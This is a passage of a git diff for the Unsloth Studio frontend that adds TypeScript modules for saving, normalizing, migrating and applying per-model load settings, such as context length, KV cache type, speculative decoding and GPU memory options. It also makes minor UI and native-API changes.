+            // classified "unknown" -> canChat false); selecting one would try to
+            // load a weightless path. toLocalModelInfo drops capabilities, so
+            // this is the only place the guard can live.
+            row.capabilities.canChat &&
+            !isHiddenModelId(row.modelId, row.repoId, row.path),
+        )
+        .map(toLocalModelInfo),
+    [inventory.localRows],
+  );
+
+  return {
+    cachedGguf,
+    cachedModels,
+    cachedReady: inventory.downloadedReady,
+    localModels,
+    refreshInventory: inventory.refreshInventory,
+  };
+}
diff --git a/studio/frontend/src/features/model-picker/model-config/apply-per-model-config.ts b/studio/frontend/src/features/model-picker/model-config/apply-per-model-config.ts
new file mode 100644
index 0000000000..c21d3e164a
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/model-config/apply-per-model-config.ts
@@ -0,0 +1,127 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  GPU_LAYERS_AUTO,
+  defaultInferenceParams,
+  normalizeSpeculativeType,
+  readPersistedGpuMemoryMode,
+  readPersistedSpeculativeType,
+  reconcilePersistedGpuIds,
+  useChatRuntimeStore,
+} from "@/features/chat";
+import {
+  DEFAULT_PER_MODEL_CONFIG,
+  type PerModelConfig,
+  normalizeMaxSeqLength,
+} from "./per-model-config";
+
+function cleanTemplate(value: string | null | undefined): string | null {
+  return value?.trim() ? value : null;
+}
+
+export function applyPerModelConfigToRuntime(config: PerModelConfig): void {
+  // Fall back to the standing default when the model has no saved
+  // maxSeqLength. maxSeqLength is the only per-model field carried on
+  // params (the rest are reset below), so without this a model with no
+  // remembered config would inherit the previously loaded model's value.
+  const maxSeqLength =
+    normalizeMaxSeqLength(config.maxSeqLength) ??
+    defaultInferenceParams.maxSeqLength;
+  const store = useChatRuntimeStore.getState();
+  if (maxSeqLength !== store.params.maxSeqLength) {
+    store.setParams({ ...store.params, maxSeqLength });
+  }
+  useChatRuntimeStore.setState({
+    customContextLength: config.customContextLength ?? null,
+    kvCacheDtype: config.kvCacheDtype ?? null,
+    speculativeType:
+      normalizeSpeculativeType(config.speculativeType) ??
+      readPersistedSpeculativeType(),
+    specDraftNMax: config.specDraftNMax ?? null,
+    tensorParallel: config.tensorParallel ?? false,
+    chatTemplateOverride: cleanTemplate(config.chatTemplateOverride),
+    // GPU Memory knobs are per-model (GGUF-only). Absent = defaults; the mode is
+    // a standing preference so an absent mode falls back to the persisted one.
+    // The per-GPU split ratio is never remembered, so it always resets. The GPU
+    // pick is reconciled against the GPUs present now (a saved [1] on a 1-GPU
+    // host would otherwise be sent and rejected).
+    gpuMemoryMode: config.gpuMemoryMode ?? readPersistedGpuMemoryMode(),
+    gpuLayers: config.gpuLayers ?? GPU_LAYERS_AUTO,
+    nCpuMoe: config.nCpuMoe ?? 0,
+    splitRatio: null,
+    selectedGpuIds:
+      config.selectedGpuIds !== undefined
+        ? reconcilePersistedGpuIds(config.selectedGpuIds)
+        : null,
+  });
+}
+
+export function applyModelLoadConfigToRuntime(
+  config: PerModelConfig | null | undefined,
+): boolean {
+  const hasConfig = config != null;
+  applyPerModelConfigToRuntime(config ?? DEFAULT_PER_MODEL_CONFIG);
+  return hasConfig;
+}
+
+export function currentRuntimePerModelConfig(
+  options: { includeMaxSeqLength?: boolean } = {},
+): PerModelConfig {
+  const s = useChatRuntimeStore.getState();
+  return {
+    customContextLength: s.customContextLength ?? null,
+    maxSeqLength: options.includeMaxSeqLength
+      ? normalizeMaxSeqLength(s.params.maxSeqLength)
+      : null,
+    kvCacheDtype: s.kvCacheDtype ?? null,
+    speculativeType: normalizeSpeculativeType(s.speculativeType),
+    specDraftNMax: s.specDraftNMax ?? null,
+    tensorParallel: s.tensorParallel ?? false,
+    chatTemplateOverride: cleanTemplate(s.chatTemplateOverride),
+    // Snapshot the live GPU knobs too so a failed switch rolls the previous
+    // model's GPU Memory settings back (see applyPerModelConfigToRuntime). The
+    // split ratio is intentionally never remembered.
+    gpuMemoryMode: s.gpuMemoryMode,
+    gpuLayers: s.gpuLayers,
+    nCpuMoe: s.nCpuMoe,
+    selectedGpuIds: s.selectedGpuIds,
+  };
+}
+
+export function perModelConfigsEqual(
+  a: PerModelConfig,
+  b: PerModelConfig,
+): boolean {
+  return (
+    (a.customContextLength ?? null) === (b.customContextLength ?? null) &&
+    normalizeMaxSeqLength(a.maxSeqLength) ===
+      normalizeMaxSeqLength(b.maxSeqLength) &&
+    (a.kvCacheDtype ?? null) === (b.kvCacheDtype ?? null) &&
+    normalizeSpeculativeType(a.speculativeType) ===
+      normalizeSpeculativeType(b.speculativeType) &&
+    (a.specDraftNMax ?? null) === (b.specDraftNMax ?? null) &&
+    Boolean(a.tensorParallel) === Boolean(b.tensorParallel) &&
+    cleanTemplate(a.chatTemplateOverride) ===
+      cleanTemplate(b.chatTemplateOverride) &&
+    gpuFieldsEqual(a, b)
+  );
+}
+
+// Serialize the per-model GPU knobs with the same "absent == default"
+// coalescing the store applies: mode auto/absent, gpuLayers Auto (< 0) /
+// absent, nCpuMoe 0 / absent, and the GPU pick (null / absent = all GPUs).
+export function gpuFieldsSignature(config: PerModelConfig): string {
+  return [
+    config.gpuMemoryMode ?? "auto",
+    config.gpuLayers == null || config.gpuLayers < 0 ? -1 : config.gpuLayers,
+    config.nCpuMoe ?? 0,
+    config.selectedGpuIds == null
+      ? "all"
+      : [...config.selectedGpuIds].sort((a, b) => a - b).join(","),
+  ].join("|");
+}
+
+function gpuFieldsEqual(a: PerModelConfig, b: PerModelConfig): boolean {
+  return gpuFieldsSignature(a) === gpuFieldsSignature(b);
+}
diff --git a/studio/frontend/src/features/model-picker/model-config/model-identity.ts b/studio/frontend/src/features/model-picker/model-config/model-identity.ts
new file mode 100644
index 0000000000..0caa7c1312
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/model-config/model-identity.ts
@@ -0,0 +1,69 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  normalizeGgufVariantIdentity,
+  normalizeModelIdentity,
+} from "@/features/hub";
+
+export {
+  normalizeGgufVariantIdentity,
+  normalizeModelIdentity,
+} from "@/features/hub";
+
+const MODEL_STORAGE_KEY_PREFIX = "v2:";
+
+type ParsedModelStorageKey = {
+  modelId: string;
+  ggufVariant: string;
+};
+
+function parseVersionedModelStorageKey(
+  key: string,
+): ParsedModelStorageKey | null {
+  if (!key.startsWith(MODEL_STORAGE_KEY_PREFIX)) {
+    return null;
+  }
+  try {
+    const parsed = JSON.parse(key.slice(MODEL_STORAGE_KEY_PREFIX.length));
+    if (
+      !Array.isArray(parsed) ||
+      parsed.length !== 2 ||
+      typeof parsed[0] !== "string" ||
+      typeof parsed[1] !== "string"
+    ) {
+      return null;
+    }
+    return { modelId: parsed[0], ggufVariant: parsed[1] };
+  } catch {
+    return null;
+  }
+}
+
+export function modelStorageKey(
+  modelId: string,
+  ggufVariant?: string | null,
+): string {
+  return `${MODEL_STORAGE_KEY_PREFIX}${JSON.stringify([
+    normalizeModelIdentity(modelId),
+    normalizeGgufVariantIdentity(ggufVariant),
+  ])}`;
+}
+
+export function modelIdFromStorageKey(key: string): string | null {
+  const parsed = parseVersionedModelStorageKey(key);
+  if (parsed) {
+    return parsed.modelId;
+  }
+  const separator = key.lastIndexOf("::");
+  return separator >= 0 ? key.slice(0, separator) : null;
+}
+
+export function ggufVariantFromStorageKey(key: string): string | null {
+  const parsed = parseVersionedModelStorageKey(key);
+  if (parsed) {
+    return parsed.ggufVariant;
+  }
+  const separator = key.lastIndexOf("::");
+  return separator >= 0 ? key.slice(separator + 2) : null;
+}
diff --git a/studio/frontend/src/features/model-picker/model-config/per-model-config.ts b/studio/frontend/src/features/model-picker/model-config/per-model-config.ts
new file mode 100644
index 0000000000..0b03423736
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/model-config/per-model-config.ts
@@ -0,0 +1,665 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  ggufVariantFromStorageKey,
+  modelIdFromStorageKey,
+  modelStorageKey,
+  normalizeGgufVariantIdentity,
+  normalizeModelIdentity,
+} from "./model-identity";
+
+export interface PerModelConfig {
+  customContextLength: number | null;
+  maxSeqLength: number | null;
+  kvCacheDtype: string | null;
+  speculativeType: string | null;
+  specDraftNMax: number | null;
+  tensorParallel: boolean;
+  chatTemplateOverride: string | null;
+  // GPU Memory controls (per-model, GGUF-only), optional so older blobs still
+  // parse. null selectedGpuIds (all GPUs) is distinct from absent. The --tensor-split
+  // ratio is deliberately not remembered: it is positionally bound to the exact
+  // GPU set/order and unvalidated.
+  gpuMemoryMode?: "auto" | "manual";
+  gpuLayers?: number;
+  nCpuMoe?: number;
+  selectedGpuIds?: number[] | null;
+}
+
+export const DEFAULT_PER_MODEL_CONFIG: PerModelConfig = {
+  customContextLength: null,
+  maxSeqLength: null,
+  kvCacheDtype: null,
+  speculativeType: null,
+  specDraftNMax: null,
+  tensorParallel: false,
+  chatTemplateOverride: null,
+};
+
+export const MAX_SEQ_LENGTH_MIN = 128;
+export const MAX_SEQ_LENGTH_MAX = 1048576;
+export const MAX_SEQ_LENGTH_STEP = 128;
+// App-default max sequence length when a non-GGUF model has no override. Both
+// paths fall back to this rather than an active model's runtime value, so an
+// unconfigured pane never inherits another model's larger context and OOMs.
+export const DEFAULT_MAX_SEQ_LENGTH = 4096;
+export const CONTEXT_LENGTH_MIN = 128;
+
+export const KV_CACHE_DTYPES = ["bf16", "q8_0", "q5_1", "q4_1"] as const;
+const VALID_KV_CACHE_DTYPES = new Set<string>(KV_CACHE_DTYPES);
+
+export const SPECULATIVE_TYPES = [
+  "auto",
+  "mtp",
+  "ngram",
+  "mtp+ngram",
+  "off",
+] as const;
+export const MTP_SPECULATIVE_TYPES: ReadonlySet<string> = new Set([
+  "mtp",
+  "mtp+ngram",
+]);
+
+const STORAGE_KEY = "unsloth_model_configs";
+const LEGACY_STORAGE_KEY = "unsloth_load_settings";
+const LEGACY_MIGRATION_FLAG = "unsloth_model_configs_migrated";
+const STORAGE_SCHEMA_VERSION = 1;
+const MAX_ENTRIES = 500;
+const MAX_PER_MODEL_CONFIG_STORAGE_BYTES = 1024 * 1024;
+export const MAX_CHAT_TEMPLATE_BYTES = 65_536;
+
+type StoredPerModelConfig = PerModelConfig & {
+  version: typeof STORAGE_SCHEMA_VERSION;
+};
+type StoredMap = Record<string, PerModelConfig | StoredPerModelConfig>;
+type RawConfig = Partial<PerModelConfig> & { version?: unknown };
+
+const STORED_CONFIG_FIELDS = new Set([
+  "version",
+  "customContextLength",
+  "maxSeqLength",
+  "kvCacheDtype",
+  "speculativeType",
+  "specDraftNMax",
+  "tensorParallel",
+  "chatTemplateOverride",
+  "gpuMemoryMode",
+  "gpuLayers",
+  "nCpuMoe",
+  "selectedGpuIds",
+]);
+
+function normalizeGpuFields(partial: RawConfig): {
+  gpuMemoryMode?: "auto" | "manual";
+  gpuLayers?: number;
+  nCpuMoe?: number;
+  selectedGpuIds?: number[] | null;
+} {
+  const out: {
+    gpuMemoryMode?: "auto" | "manual";
+    gpuLayers?: number;
+    nCpuMoe?: number;
+    selectedGpuIds?: number[] | null;
+  } = {};
+  // Only "manual" is a real override; persisting "auto" would pin the model and
+  // stop it following later changes to the global GPU Memory preference.
+  if (partial.gpuMemoryMode === "manual") {
+    out.gpuMemoryMode = "manual";
+  }
+  if (
+    typeof partial.gpuLayers === "number" &&
+    Number.isFinite(partial.gpuLayers)
+  ) {
+    out.gpuLayers = Math.trunc(partial.gpuLayers);
+  }
+  if (
+    typeof partial.nCpuMoe === "number" &&
+    Number.isFinite(partial.nCpuMoe) &&
+    partial.nCpuMoe >= 0
+  ) {
+    out.nCpuMoe = Math.trunc(partial.nCpuMoe);
+  }
+  if (partial.selectedGpuIds === null) {
+    out.selectedGpuIds = null;
+  } else if (
+    Array.isArray(partial.selectedGpuIds) &&
+    partial.selectedGpuIds.every(
+      (n) => typeof n === "number" && Number.isFinite(n),
+    )
+  ) {
+    out.selectedGpuIds = partial.selectedGpuIds.map((n) => Math.trunc(n));
+  }
+  return out;
+}
+
+function canonicalizeSpeculativeType(value: string): string | null {
+  const s = value.trim().toLowerCase();
+  if (!s) {
+    return null;
+  }
+  // "auto"/"default" is the follow-global sentinel; store as null so it is never
+  // persisted as an override and global speculative-decoding changes keep applying.
+  if (s === "auto" || s === "default") {
+    return null;
+  }
+  if (s === "off") {
+    return "off";
+  }
+  if (s === "mtp" || s === "draft-mtp") {
+    return "mtp";
+  }
+  if (s === "ngram" || s === "ngram-mod" || s === "ngram-simple") {
+    return "ngram";
+  }
+  if (s === "mtp+ngram") {
+    return "mtp+ngram";
+  }
+  return null;
+}
+
+export function normalizeMaxSeqLength(value: unknown): number | null {
+  if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) {
+    return null;
+  }
+  const snapped = Math.round(value / MAX_SEQ_LENGTH_STEP) * MAX_SEQ_LENGTH_STEP;
+  return Math.max(MAX_SEQ_LENGTH_MIN, Math.min(MAX_SEQ_LENGTH_MAX, snapped));
+}
+
+export function floorMaxSeqLength(value: unknown): number | null {
+  if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) {
+    return null;
+  }
+  const snapped = Math.floor(value / MAX_SEQ_LENGTH_STEP) * MAX_SEQ_LENGTH_STEP;
+  return Math.max(MAX_SEQ_LENGTH_MIN, Math.min(MAX_SEQ_LENGTH_MAX, snapped));
+}
+
+function canUseStorage(): boolean {
+  return typeof window !== "undefined";
+}
+
+function serializedByteLength(value: string): number {
+  return typeof TextEncoder !== "undefined"
+    ? new TextEncoder().encode(value).byteLength
+    : value.length;
+}
+
+export function chatTemplateByteLength(value: string): number {
+  return serializedByteLength(value);
+}
+
+export function isChatTemplateWithinLimit(value: string): boolean {
+  return chatTemplateByteLength(value) <= MAX_CHAT_TEMPLATE_BYTES;
+}
+
+function serializedMapSize(map: StoredMap): number {
+  return serializedByteLength(JSON.stringify(map));
+}
+
+function serializedMapEntrySize(key: string, value: StoredMap[string]): number {
+  return (
+    serializedByteLength(JSON.stringify(key)) +
+    1 +
+    serializedByteLength(JSON.stringify(value))
+  );
+}
+
+function deleteOldestEvictableEntry(
+  map: StoredMap,
+  protectedKeys?: ReadonlySet<string>,
+): { key: string; value: StoredMap[string] } | null {
+  for (const key of Object.keys(map)) {
+    // Never evict a future-schema entry an older client cannot interpret.
+    if (
+      protectedKeys?.has(key) ||
+      storedConfigVersion(map[key]) > STORAGE_SCHEMA_VERSION
+    ) {
+      continue;
+    }
+    const value = map[key];
+    delete map[key];
+    return { key, value };
+  }
+  return null;
+}
+
+function enforceStorageBudget(
+  map: StoredMap,
+  protectedKeys?: ReadonlySet<string>,
+): boolean {
+  let entryCount = Object.keys(map).length;
+  while (entryCount > MAX_ENTRIES) {
+    if (!deleteOldestEvictableEntry(map, protectedKeys)) {
+      return false;
+    }
+    entryCount -= 1;
+  }
+  let bytes = serializedMapSize(map);
+  while (bytes > MAX_PER_MODEL_CONFIG_STORAGE_BYTES) {
+    const removed = deleteOldestEvictableEntry(map, protectedKeys);
+    if (!removed) {
+      return false;
+    }
+    bytes -=
+      serializedMapEntrySize(removed.key, removed.value) +
+      (entryCount > 1 ? 1 : 0);
+    entryCount -= 1;
+  }
+  return true;
+}
+
+function storedConfigVersion(raw: unknown): number {
+  if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
+    return 0;
+  }
+  const version = (raw as RawConfig).version;
+  return typeof version === "number" && Number.isFinite(version) ? version : 0;
+}
+
+let legacyMigrationChecked = false;
+
+function parseLegacyModelKey(
+  key: string,
+): { modelId: string; ggufVariant: string | null } | null {
+  const separator = key.lastIndexOf("::");
+  if (separator >= 0) {
+    const modelId = key.slice(0, separator);
+    return modelId
+      ? { modelId, ggufVariant: key.slice(separator + 2) || null }
+      : null;
+  }
+  return key ? { modelId: key, ggufVariant: null } : null;
+}
+
+function legacyEntryToConfig(raw: Record<string, unknown>): PerModelConfig {
+  return normalizeV1({
+    customContextLength:
+      typeof raw.contextLength === "number" ? raw.contextLength : null,
+    maxSeqLength: null,
+    kvCacheDtype:
+      typeof raw.kvCacheDtype === "string" ? raw.kvCacheDtype : null,
+    speculativeType:
+      typeof raw.speculativeType === "string" ? raw.speculativeType : null,
+    specDraftNMax:
+      typeof raw.specDraftNMax === "number" ? raw.specDraftNMax : null,
+    tensorParallel:
+      typeof raw.tensorParallel === "boolean" ? raw.tensorParallel : false,
+    chatTemplateOverride: null,
+    // Carry legacy GPU Memory knobs; normalizeGpuFields drops anything malformed.
+    gpuMemoryMode:
+      raw.gpuMemoryMode === "auto" || raw.gpuMemoryMode === "manual"
+        ? raw.gpuMemoryMode
+        : undefined,
+    gpuLayers: typeof raw.gpuLayers === "number" ? raw.gpuLayers : undefined,
+    nCpuMoe: typeof raw.nCpuMoe === "number" ? raw.nCpuMoe : undefined,
+    selectedGpuIds:
+      raw.selectedGpuIds === null
+        ? null
+        : Array.isArray(raw.selectedGpuIds)
+          ? (raw.selectedGpuIds as number[])
+          : undefined,
+  });
+}
+
+function mergeLegacyEntries(
+  map: StoredMap,
+  legacy: Record<string, unknown>,
+): string[] {
+  const addedKeys: string[] = [];
+  for (const [legacyKey, value] of Object.entries(legacy)) {
+    if (!value || typeof value !== "object") {
+      continue;
+    }
+    const parsedKey = parseLegacyModelKey(legacyKey);
+    if (!parsedKey) {
+      continue;
+    }
+    const migrated = legacyEntryToConfig(value as Record<string, unknown>);
+    const key = modelStorageKey(parsedKey.modelId, parsedKey.ggufVariant);
+    if (isDefaultConfig(migrated) || Object.hasOwn(map, key)) {
+      continue;
+    }
+    map[key] = toStoredConfig(migrated);
+    addedKeys.push(key);
+  }
+  return addedKeys;
+}
+
+function migrateLegacyLoadSettingsOnce(): void {
+  if (legacyMigrationChecked || !canUseStorage()) {
+    return;
+  }
+  legacyMigrationChecked = true;
+  try {
+    if (localStorage.getItem(LEGACY_MIGRATION_FLAG)) {
+      return;
+    }
+    let legacy: unknown = null;
+    try {
+      legacy = JSON.parse(localStorage.getItem(LEGACY_STORAGE_KEY) ?? "null");
+    } catch {
+      legacy = null;
+    }
+    if (!legacy || typeof legacy !== "object" || Array.isArray(legacy)) {
+      localStorage.setItem(LEGACY_MIGRATION_FLAG, "1");
+      return;
+    }
+    const map = readMapRaw();
+    // Snapshot existing entries so eviction can protect them: importing old load
+    // settings must never discard a newer per-model config the user already has.
+    const existingKeys = new Set(Object.keys(map));
+    const migratedKeys = mergeLegacyEntries(
+      map,
+      legacy as Record<string, unknown>,
+    );
+    if (migratedKeys.length === 0) {
+      localStorage.setItem(LEGACY_MIGRATION_FLAG, "1");
+      return;
+    }
+    // Protect pre-existing entries so only just-migrated legacy entries are
+    // dropped when over budget.
+    if (!enforceStorageBudget(map, existingKeys)) {
+      return;
+    }
+    if (writeMap(map)) {
+      localStorage.setItem(LEGACY_MIGRATION_FLAG, "1");
+    }
+  } catch (err) {
+    console.warn("Failed to migrate legacy load settings:", err);
+  }
+}
+
+function readMapRaw(): StoredMap {
+  if (!canUseStorage()) {
+    return {};
+  }
+  try {
+    const raw = localStorage.getItem(STORAGE_KEY);
+    if (!raw) {
+      return {};
+    }
+    const parsed = JSON.parse(raw);
+    if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
+      return {};
+    }
+    return parsed as StoredMap;
+  } catch {
+    return {};
+  }
+}
+
+function readMap(): StoredMap {
+  migrateLegacyLoadSettingsOnce();
+  return readMapRaw();
+}
+
+function writeMap(map: StoredMap): boolean {
+  if (!canUseStorage()) {
+    return false;
+  }
+  try {
+    localStorage.setItem(STORAGE_KEY, JSON.stringify(map));
+    return true;
+  } catch (err) {
+    console.warn("Failed to persist per-model config:", err);
+    return false;
+  }
+}
+
+function warnDroppedFields(raw: Record<string, unknown>, version: number): void {
+  if (!import.meta.env?.DEV) {
+    return;
+  }
+  const dropped = Object.keys(raw).filter(
+    (key) => !STORED_CONFIG_FIELDS.has(key),
+  );
+  if (dropped.length > 0) {
+    console.warn("Dropped unknown per-model config fields:", dropped);
+  }
+  if (version > STORAGE_SCHEMA_VERSION) {
+    console.warn("Per-model config schema is newer than this app:", version);
+  }
+}
+
+function normalizeV1(partial: RawConfig): PerModelConfig {
+  const rawSpecType =
+    typeof partial.speculativeType === "string"
+      ? canonicalizeSpeculativeType(partial.speculativeType)
+      : null;
+  const speculativeType = rawSpecType ?? DEFAULT_PER_MODEL_CONFIG.speculativeType;
+  const specDraftNMax =
+    speculativeType != null &&
+    MTP_SPECULATIVE_TYPES.has(speculativeType) &&
+    typeof partial.specDraftNMax === "number" &&
+    Number.isFinite(partial.specDraftNMax)
+      ? Math.max(1, Math.min(16, Math.round(partial.specDraftNMax)))
+      : null;
+  return {
+    customContextLength:
+      typeof partial.customContextLength === "number" &&
+      Number.isFinite(partial.customContextLength) &&
+      partial.customContextLength > 0
+        ? Math.max(CONTEXT_LENGTH_MIN, Math.floor(partial.customContextLength))
+        : null,
+    maxSeqLength: normalizeMaxSeqLength(partial.maxSeqLength),
+    kvCacheDtype:
+      typeof partial.kvCacheDtype === "string" &&
+      VALID_KV_CACHE_DTYPES.has(partial.kvCacheDtype)
+        ? partial.kvCacheDtype
+        : null,
+    speculativeType,
+    specDraftNMax,
+    tensorParallel:
+      typeof partial.tensorParallel === "boolean"
+        ? partial.tensorParallel
+        : DEFAULT_PER_MODEL_CONFIG.tensorParallel,
+    chatTemplateOverride:
+      typeof partial.chatTemplateOverride === "string" &&
+      isChatTemplateWithinLimit(partial.chatTemplateOverride)
+        ? partial.chatTemplateOverride
+        : null,
+    ...normalizeGpuFields(partial),
+  };
+}
+
+function normalize(raw: unknown): PerModelConfig {
+  if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
+    return normalizeV1({});
+  }
+  const partial = raw as RawConfig;
+  const version =
+    typeof partial.version === "number" && Number.isFinite(partial.version)
+      ? partial.version
+      : 0;
+  warnDroppedFields(raw as Record<string, unknown>, version);
+  return normalizeV1(partial);
+}
+
+function toStoredConfig(config: PerModelConfig): StoredPerModelConfig {
+  return {
+    version: STORAGE_SCHEMA_VERSION,
+    ...normalize(config),
+  };
+}
+
+function legacyModelStorageKey(
+  modelId: string,
+  ggufVariant?: string | null,
+): string {
+  return `${modelId}::${ggufVariant ?? ""}`;
+}
+
+function storageKeysForModelVariant(
+  modelId: string,
+  ggufVariant?: string | null,
+): string[] {
+  const key = modelStorageKey(modelId, ggufVariant);
+  const legacyKey = legacyModelStorageKey(modelId, ggufVariant);
+  return key === legacyKey ? [key] : [key, legacyKey];
+}
+
+function configKeyMatchesModelVariant(
+  key: string,
+  modelId: string,
+  ggufVariant?: string | null,
+): boolean {
+  const storedModelId = modelIdFromStorageKey(key);
+  if (!storedModelId) {
+    return false;
+  }
+  return (
+    normalizeModelIdentity(storedModelId) === normalizeModelIdentity(modelId) &&
+    normalizeGgufVariantIdentity(ggufVariantFromStorageKey(key)) ===
+      normalizeGgufVariantIdentity(ggufVariant)
+  );
+}
+
+function findConfigKeyForModelVariant(
+  map: StoredMap,
+  modelId: string,
+  ggufVariant?: string | null,
+): string | null {
+  for (const key of storageKeysForModelVariant(modelId, ggufVariant)) {
+    if (Object.hasOwn(map, key)) {
+      return key;
+    }
+  }
+  for (const key of Object.keys(map)) {
+    if (configKeyMatchesModelVariant(key, modelId, ggufVariant)) {
+      return key;
+    }
+  }
+  return null;
+}
+
+function hasFutureConfigForModelVariant(
+  map: StoredMap,
+  modelId: string,
+  ggufVariant?: string | null,
+): boolean {
+  for (const key of Object.keys(map)) {
+    if (
+      configKeyMatchesModelVariant(key, modelId, ggufVariant) &&
+      storedConfigVersion(map[key]) > STORAGE_SCHEMA_VERSION
+    ) {
+      return true;
+    }
+  }
+  return false;
+}
+
+function deleteConfigEntriesForModelVariant(
+  map: StoredMap,
+  modelId: string,
+  ggufVariant?: string | null,
+): boolean {
+  let changed = false;
+  for (const key of Object.keys(map)) {
+    if (!configKeyMatchesModelVariant(key, modelId, ggufVariant)) {
+      continue;
+    }
+    delete map[key];
+    changed = true;
+  }
+  return changed;
+}
+
+function loadPerModelConfig(
+  modelId: string,
+  ggufVariant?: string | null,
+): PerModelConfig | null {
+  const map = readMap();
+  const key = findConfigKeyForModelVariant(map, modelId, ggufVariant);
+  if (!key) {
+    return null;
+  }
+  // Never apply a future-schema record an older client cannot interpret.
+  if (storedConfigVersion(map[key]) > STORAGE_SCHEMA_VERSION) {
+    return null;
+  }
+  return normalize(map[key]);
+}
+
+export function isDefaultConfig(config: PerModelConfig): boolean {
+  return (
+    config.customContextLength == null &&
+    config.maxSeqLength == null &&
+    (config.kvCacheDtype ?? null) === DEFAULT_PER_MODEL_CONFIG.kvCacheDtype &&
+    config.speculativeType === DEFAULT_PER_MODEL_CONFIG.speculativeType &&
+    config.specDraftNMax == null &&
+    Boolean(config.tensorParallel) ===
+      Boolean(DEFAULT_PER_MODEL_CONFIG.tensorParallel) &&
+    (config.chatTemplateOverride ?? null) === null &&
+    gpuFieldsAtDefault(config)
+  );
+}
+
+// GPU knobs are "default" when mode is Auto with no explicit choice: mode
+// auto/absent, gpuLayers < 0/absent, nCpuMoe 0/absent, selectedGpuIds null/absent.
+function gpuFieldsAtDefault(config: PerModelConfig): boolean {
+  return (
+    (config.gpuMemoryMode ?? "auto") === "auto" &&
+    (config.gpuLayers == null || config.gpuLayers < 0) &&
+    (config.nCpuMoe == null || config.nCpuMoe === 0) &&
+    config.selectedGpuIds == null
+  );
+}
+
+export function savePerModelConfig(
+  modelId: string,
+  ggufVariant: string | null | undefined,
+  config: PerModelConfig,
+): boolean {
+  if (
+    typeof config.chatTemplateOverride === "string" &&
+    !isChatTemplateWithinLimit(config.chatTemplateOverride)
+  ) {
+    return false;
+  }
+  const normalized = normalize(config);
+  const map = readMap();
+  if (hasFutureConfigForModelVariant(map, modelId, ggufVariant)) {
+    return false;
+  }
+  if (isDefaultConfig(normalized)) {
+    const changed = deleteConfigEntriesForModelVariant(
+      map,
+      modelId,
+      ggufVariant,
+    );
+    return changed ? writeMap(map) : true;
+  }
+  const [key] = storageKeysForModelVariant(modelId, ggufVariant);
+  deleteConfigEntriesForModelVariant(map, modelId, ggufVariant);
+  map[key] = toStoredConfig(normalized);
+  if (!enforceStorageBudget(map, new Set([key]))) {
+    return false;
+  }
+  return writeMap(map);
+}
+
+export function deletePerModelConfig(
+  modelId: string,
+  ggufVariant?: string | null,
+): boolean {
+  const map = readMap();
+  // Mirror savePerModelConfig: never let an older client destroy a future-schema entry.
+  if (hasFutureConfigForModelVariant(map, modelId, ggufVariant)) {
+    return false;
+  }
+  if (!deleteConfigEntriesForModelVariant(map, modelId, ggufVariant)) {
+    return true;
+  }
+  return writeMap(map);
+}
+
+export function resolveInitialConfig(
+  modelId: string,
+  ggufVariant?: string | null,
+): { config: PerModelConfig; remembered: boolean } {
+  const saved = loadPerModelConfig(modelId, ggufVariant);
+  if (saved) {
+    return { config: saved, remembered: true };
+  }
+  return { config: { ...DEFAULT_PER_MODEL_CONFIG }, remembered: false };
+}
diff --git a/studio/frontend/src/features/native-intents/api.ts b/studio/frontend/src/features/native-intents/api.ts
index b5c7e33b3a..98caa709b9 100644
--- a/studio/frontend/src/features/native-intents/api.ts
+++ b/studio/frontend/src/features/native-intents/api.ts
@@ -23,6 +23,11 @@ export async function pickNativeModel(): Promise<NativeIntent | null> {
   return invokeNative<NativeIntent | null>("pick_native_model");
 }
 
+export async function pickHuggingFaceCacheDir(): Promise<string | null> {
+  if (!isTauri) return null;
+  return invokeNative<string | null>("pick_hugging_face_cache_dir");
+}
+
 export async function registerNativeModelPath(path: string): Promise<NativeIntent> {
   return invokeNative<NativeIntent>("register_native_model_path", { path });
 }
diff --git a/studio/frontend/src/features/native-intents/components/native-model-drop-overlay.tsx b/studio/frontend/src/features/native-intents/components/native-model-drop-overlay.tsx
index 725fb14259..33b8934756 100644
--- a/studio/frontend/src/features/native-intents/components/native-model-drop-overlay.tsx
+++ b/studio/frontend/src/features/native-intents/components/native-model-drop-overlay.tsx
@@ -60,7 +60,7 @@ export function NativeModelDropOverlay({ state }: { state: NativeModelDropState
           <div className="truncate text-xs font-medium text-foreground">
             {title}
           </div>
-          <div className="mt-0.5 truncate text-[11px] leading-4 text-muted-foreground">
+          <div className="mt-0.5 truncate text-ui-11 leading-4 text-muted-foreground">
             {description}
           </div>
         </div>
diff --git a/studio/frontend/src/features/native-intents/index.ts b/studio/frontend/src/features/native-intents/index.ts
index a82c39a9ec..98b89f08f3 100644
--- a/studio/frontend/src/features/native-intents/index.ts
+++ b/studio/frontend/src/features/native-intents/index.ts
@@ -3,7 +3,7 @@
 
 export { NativeModelChip } from "./components/native-model-chip";
 export { NativeModelDropOverlay } from "./components/native-model-drop-overlay";
-export { openModelsDir } from "./api";
+export { openModelsDir, pickHuggingFaceCacheDir } from "./api";
 export { useNativeIntentStore } from "./store";
 export type { NativeIntent } from "./types";
 export { useChooseNativeModel } from "./use-native-dialogs";
diff --git a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
index 6404ddd40f..ebcf18978f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
@@ -322,8 +322,8 @@ export function DatasetStep() {
             <button
               type="button"
               className={cn(
-                "border-2 border-dashed rounded-xl p-8 text-center transition-colors cursor-pointer hover:border-primary/50 hover:bg-muted/50",
-                uploadedFile && "border-primary/50 bg-primary/5",
